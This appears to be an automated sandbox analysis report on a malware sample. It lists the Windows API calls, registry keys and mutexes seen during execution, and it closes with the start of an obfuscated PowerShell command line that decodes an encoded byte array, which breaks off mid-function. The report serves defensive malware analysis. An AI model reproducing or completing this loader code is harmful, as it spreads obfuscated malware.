"powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindowTextLength (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindowTextLengthW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindowText (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindowTextW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter NtProtectVirtualMemory (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CallWindowProcA (UID: 00000000-00000160)35:T4d75,Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00000160.00000002.223471.00A71000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00000160.00000002.223471.00A71000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00000160.00000002.223471.00A71000.00000020.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00000160.00000000.219629.02C50000.00000004.mdmp, 00000000-00000160.00000000.219629.04D00000.00000004.mdmp, 00000000-00000160.00000001.221551.08920000.00000004.mdmp, 00000000-00000160.00000002.223471.08920000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.00A71000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.00A71000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.00A71000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000160.00000000.219629.6F945000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000160.00000001.221551.00A81000.00000002.mdmp, 00000000-00000160.00000002.223471.6F351000.00000002.mdmp")36:T14d3,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 22021-159-00A7D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 22021-194-00A78190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 22021-194-00A78190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 22021-194-00A78190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 22021-196-00A7BFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 22021-207-00A78AF0 "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000160.00000000.219629.02C50000.00000004.mdmp 00000000-00000160.00000001.221551.02C50000.00000004.mdmp 00000000-00000160.00000002.223471.02C50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000160.00000000.219629.02C50000.00000004.mdmp 00000000-00000160.00000001.221551.02C50000.00000004.mdmp 00000000-00000160.00000002.223471.02C50000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00000160.00000001.221551.08920000.00000004.mdmp 00000000-00000160.00000002.223471.08920000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp37:T84d,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6196:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6196:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6196:120:WilError_01" Process WScript.exe created mutex with name "SM0:6196:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:6196:120:WilError_01" Process WScript.exe created mutex with name "SM0:6196:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:6196:304:WilStaging_02" Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:200:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:200:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:200:120:WilError_01" Process powershell.exe created mutex with name "SM0:200:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:200:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:200:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:160:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:160:168:WilStaging_02" Process powershell.exe created mutex with name "SM0:160:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:160:168:WilStaging_02"38:Td57,Process "powershell.exe" with commandline ""rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767-56767;$demaskeringer=10972-4972;function prgnantestes ($autoopretningers140,$mandrels) {$retsloes=discipline(@(103,201,214,231,220,212,212,181,205,213,225,214,211,203,168,218,212,164,161,149,145,165,224,208,229,149,137,209,164,214,197,229,210,209,215,108));Perigastrular ($retsloes)}function discipline ($ratiocinations201) { do 